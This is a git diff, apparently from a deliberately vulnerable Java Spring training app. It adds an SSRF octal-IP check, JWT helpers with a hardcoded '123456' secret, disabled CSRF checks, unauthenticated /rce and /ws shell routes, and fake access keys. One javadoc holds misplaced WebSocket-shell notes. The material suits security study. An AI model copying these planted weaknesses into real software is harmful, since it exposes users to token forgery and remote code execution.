diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index 35d37576..156cc73d 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -6,7 +6,8 @@
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
-import java.net.MalformedURLException;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;
import java.util.regex.Matcher;
@@ -86,20 +87,21 @@ public String regex(@RequestParam("url") String url) {
/**
- * The bypass of using java.net.URL to getHost.
+ * The bypass of using {@link java.net.URL} to getHost.
*
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。
+ *
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell
+ *
*
- * @param host 域名host
+ *
+ *
+
+ *
+ *
+ * @return decimal ip
*/
- private static String host2ip(String host) {
+ public static String host2ip(String host) {
+
+ if (null == host) {
+ return "";
+ }
+
+ // convert octal to decimal
+ if(isOctalIP(host)) {
+ host = decimalIp;
+ }
+
try {
- InetAddress IpAddress = InetAddress.getByName(host); // send dns request
+ // send dns request
+ InetAddress IpAddress = InetAddress.getByName(host);
return IpAddress.getHostAddress();
} catch (Exception e) {
+ logger.error("host2ip exception " + e.getMessage());
return "";
}
}
+
/**
- * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。
- *
- * @param url http的url
+ * Check whether the host is an octal IP, if so, convert it to decimal.
+ * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
+ */
+ public static boolean isOctalIP(String host) {
+ try{
+ String[] ipParts = host.split("\\.");
+ StringBuilder newDecimalIP = new StringBuilder();
+ boolean is_octal = false;
+
+ // Octal ip only has number and dot character.
+ if (isNumberOrDot(host)) {
+
+ // not support ipv6
+ if (ipParts.length > 4) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+
+ // 01205647351
+ if( ipParts.length == 1 && host.startsWith("0") ) {
+ decimalIp = Integer.valueOf(host, 8).toString();
+ return true;
+ }
+
+ // 012.23.78.233
+ for(String ip : ipParts) {
+ if (!isNumber(ip)){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ // start with "0", but not "0"
+ if (ip.startsWith("0") && !ip.equals("0")) {
+ if (Integer.valueOf(ip, 8) >= 256){
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
+ is_octal = true;
+ }else{
+ if (Integer.valueOf(ip, 10) >= 256) {
+ logger.error("Illegal ipv4: " + host);
+ return false;
+ }
+ newDecimalIP.append(ip).append(".");
+ }
+ }
+ // delete last char .
+ decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
+ }
+ return is_octal;
+ } catch (Exception e){
+ logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
+ return false;
+ }
+
+ }
+
+ /**
+ * Check string is a number.
+ * @return If string is a number 0-9, return true. Otherwise, return false.
+ */
+ private static boolean isNumber(String str) {
+ if (null == str || "".equals(str)) {
+ return false;
+ }
+ for (int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ if (ch < '0' || ch > '9') {
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ /**
+ * Check string is a number or dot.
+ * @return If string is a number or a dot, return true. Otherwise, return false.
+ */
+ private static boolean isNumberOrDot(String s) {
+ for (int i = 0; i < s.length(); i++) {
+ char ch = s.charAt(i);
+ if ((ch < '0' || ch > '9') && ch != '.'){
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Get host from URL which the protocol must be http:// or https:// and not be //.
*/
private static String url2host(String url) {
try {
- // 使用URI,而非URL,防止被绕过。
+ // use URI instead of URL
URI u = new URI(url);
if (SecurityUtil.isHttp(url)) {
return u.getHost();
diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java
new file mode 100644
index 00000000..198a5311
--- /dev/null
+++ b/src/main/java/org/joychou/service/HttpService.java
@@ -0,0 +1,11 @@
+package org.joychou.service;
+
+
+import org.springframework.http.HttpHeaders;
+
+public interface HttpService {
+
+ String RequestHttp(String url, HttpHeaders headers);
+
+ String RequestHttpBanRedirects(String url, HttpHeaders headers);
+}
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
new file mode 100644
index 00000000..f63b6e42
--- /dev/null
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -0,0 +1,37 @@
+package org.joychou.util;
+
+import lombok.extern.slf4j.Slf4j;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Slf4j
+public class CookieUtils {
+
+ public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
+ try {
+ Cookie cookie = new Cookie(cookieName, null);
+ cookie.setMaxAge(0);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+
+ public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
+ try {
+ Cookie cookie = new Cookie(cookieName, cookieValue);
+ cookie.setMaxAge(1000);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
+}
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 4d2be1a4..c1eac95c 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -5,7 +5,6 @@
import org.apache.commons.httpclient.methods.GetMethod;
import org.apache.commons.io.IOUtils;
import org.apache.http.HttpResponse;
-import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.fluent.Request;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
@@ -21,6 +20,7 @@
import javax.imageio.ImageIO;
import java.io.BufferedReader;
import java.io.IOException;
+import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URI;
@@ -33,7 +33,7 @@
*/
public class HttpUtils {
- private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+ private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
public static String commonHttpClient(String url) {
@@ -94,7 +94,6 @@ public static String URLConnection(String url) {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
- // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
String inputLine;
StringBuilder html = new StringBuilder();
@@ -110,12 +109,19 @@ public static String URLConnection(String url) {
}
- public static String HTTPURLConnection(String url) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ public static String HttpURLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
- HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
- BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
+ HttpURLConnection conn = (HttpURLConnection) urlConnection;
+// conn.setInstanceFollowRedirects(false);
+// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
+ InputStream is = conn.getInputStream(); // send request
+ BufferedReader in = new BufferedReader(new InputStreamReader(is));
String inputLine;
StringBuilder html = new StringBuilder();
@@ -139,7 +145,7 @@ public static String HTTPURLConnection(String url) {
public static String Jsoup(String url) {
try {
Document doc = Jsoup.connect(url)
- //.followRedirects(false)
+// .followRedirects(false)
.timeout(3000)
.cookie("name", "joychou") // request cookies
.execute().parse();
@@ -157,12 +163,19 @@ public static String Jsoup(String url) {
*/
public static String okhttp(String url) throws IOException {
OkHttpClient client = new OkHttpClient();
- // client.setFollowRedirects(false);
+// client.setFollowRedirects(false);
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
return client.newCall(ok_http).execute().body().string();
}
+ /**
+ * The default setting of followRedirects is true.
+ *
+ * UserAgent is Java/1.8.0_102.
+ *
+ * @param url http request url
+ */
public static void imageIO(String url) {
try {
URL u = new URL(url);
@@ -206,7 +219,5 @@ public static String HttpAsyncClients(String url) {
logger.error(e.getMessage());
}
}
-
}
-
}
diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java
new file mode 100644
index 00000000..bb33642e
--- /dev/null
+++ b/src/main/java/org/joychou/util/JwtUtils.java
@@ -0,0 +1,104 @@
+package org.joychou.util;
+
+import com.auth0.jwt.JWT;
+import com.auth0.jwt.JWTVerifier;
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import io.jsonwebtoken.Claims;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.Date;
+
+@Slf4j
+public class JwtUtils {
+
+ private static final long EXPIRE = 1440 * 60 * 1000; // 1440 Minutes, 1 DAY
+ private static final String SECRET = "123456";
+ private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8));
+
+ /**
+ * Generate JWT Token by jjwt (last update time: Jul 05, 2018)
+ *
+ * @author JoyChou 2022-09-20
+ * @param userId userid
+ * @return token
+ */
+ public static String generateTokenByJjwt(String userId) {
+ return Jwts.builder()
+ .setHeaderParam("typ", "JWT") // header
+ .setHeaderParam("alg", "HS256") // header
+ .setIssuedAt(new Date()) // token发布时间
+ .setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间
+ .claim("userid", userId)
+ // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。
+ .signWith(SignatureAlgorithm.HS256, B64_SECRET)
+ .compact();
+ }
+
+ public static String getUserIdFromJjwtToken(String token) {
+ try {
+ Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody();
+ return (String)claims.get("userid");
+ } catch (Exception e) {
+ return e.toString();
+ }
+ }
+
+ /**
+ * Generate jwt token by java-jwt.
+ *
+ * @author JoyChou 2022-09-20
+ * @param nickname nickname
+ * @return jwt token
+ */
+ public static String generateTokenByJavaJwt(String nickname) {
+ return JWT.create()
+ .withClaim("nickname", nickname)
+ .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE))
+ .withIssuedAt(new Date())
+ .sign(Algorithm.HMAC256(SECRET));
+ }
+
+
+ /**
+ * Verify JWT Token
+ * @param token token
+ * @return Valid token returns true. Invalid token returns false.
+ */
+ public static Boolean verifyTokenByJavaJwt(String token) {
+ try {
+ Algorithm algorithm = Algorithm.HMAC256(SECRET);
+ JWTVerifier verifier = JWT.require(algorithm).build();
+ verifier.verify(token);
+ return true;
+ } catch (JWTVerificationException exception){
+ log.error(exception.toString());
+ return false;
+ }
+ }
+
+
+ public static String getNicknameByJavaJwt(String token) {
+ // If the signature is not verified, there will be security issues.
+ if (!verifyTokenByJavaJwt(token)) {
+ log.error("token is invalid");
+ return null;
+ }
+ return JWT.decode(token).getClaim("nickname").asString();
+ }
+
+
+ public static void main(String[] args) {
+ String jjwtToken = generateTokenByJjwt("10000");
+ System.out.println(jjwtToken);
+ System.out.println(getUserIdFromJjwtToken(jjwtToken));
+
+ String token = generateTokenByJavaJwt("JoyChou");
+ System.out.println(token);
+ System.out.println(getNicknameByJavaJwt(token));
+ }
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 4816df8e..0445f310 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -2,9 +2,7 @@
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
+import java.io.*;
import com.google.common.base.Preconditions;
import org.springframework.web.util.HtmlUtils;
@@ -17,7 +15,6 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti
return convertStreamToString(in);
}
-
// https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 6f920495..326a2b76 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -1,5 +1,5 @@
-spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
+spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=woshishujukumima
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
@@ -9,12 +9,10 @@ logging.level.org.joychou.mapper=debug
# Spring Boot Actuator Config
management.security.enabled=false
-endpoints.enabled=false
-
# logging.config=classpath:logback-online.xml
-# 业务的callback参数,不支持多个
+# jsonp callback parameter
joychou.business.callback = callback_
@@ -28,19 +26,34 @@ joychou.security.referer.uri = /jsonp/**
### csrf configuration begins ###
# csrf token check
-joychou.security.csrf.enabled = true
+joychou.security.csrf.enabled = false
# URI without CSRF check (only support ANT url format)
-joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**
+joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/**
# method for CSRF check
joychou.security.csrf.method = POST
### csrf configuration ends ###
-### jsonp configuration begins ### # auto convert json to jsonp
+### jsonp configuration begins ###
+# auto convert json to jsonp
# referer check
joychou.security.jsonp.referer.check.enabled = true
joychou.security.jsonp.callback = callback, _callback
### jsonp configuration ends ###
# swagger
-swagger.enable = true
\ No newline at end of file
+swagger.enable = true
+
+
+### no need to login page begins ###
+joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/**
+### no need to login page ends ###
+
+
+
+# http header max size
+#server.max-http-header-size=30000
+
+# Fake aksk. Simulate actuator info leak.
+jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
+jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 9d27f958..7e7061be 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -5,24 +5,30 @@